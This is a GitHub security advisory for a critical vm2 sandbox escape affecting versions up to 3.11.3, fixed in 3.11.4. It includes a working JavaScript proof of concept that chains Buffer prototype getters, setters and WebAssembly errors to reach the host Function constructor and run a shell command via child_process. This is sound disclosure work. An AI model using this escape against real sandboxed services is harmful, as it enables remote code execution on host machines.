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vm2 has a Sandbox Escape issue

Critical severity GitHub Reviewed Published May 18, 2026 in patriksimek/vm2 • Updated Jun 12, 2026

Package

npm vm2 (npm)

Affected versions

<= 3.11.3

Patched versions

3.11.4

Description

Summary

By combining Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"), Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"), and Node.js's ERR_INVALID_ARG_TYPE Error, the host's TypeError constructor can be obtained, which allows the escape from the sandbox.
This allows attackers to run arbitrary code.

PoC

"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

Impact

Sandbox Escape → RCE

References

@patriksimek patriksimek published to patriksimek/vm2 May 18, 2026
Published to the GitHub Advisory Database May 29, 2026
Reviewed May 29, 2026
Published by the National Vulnerability Database Jun 12, 2026
Last updated Jun 12, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(32nd percentile)

Weaknesses

Improper Control of Dynamically-Managed Code Resources

The product does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements. Learn more on MITRE.

CVE ID

CVE-2026-47131

GHSA ID

GHSA-v6mx-mf47-r5wg

Source code

Credits

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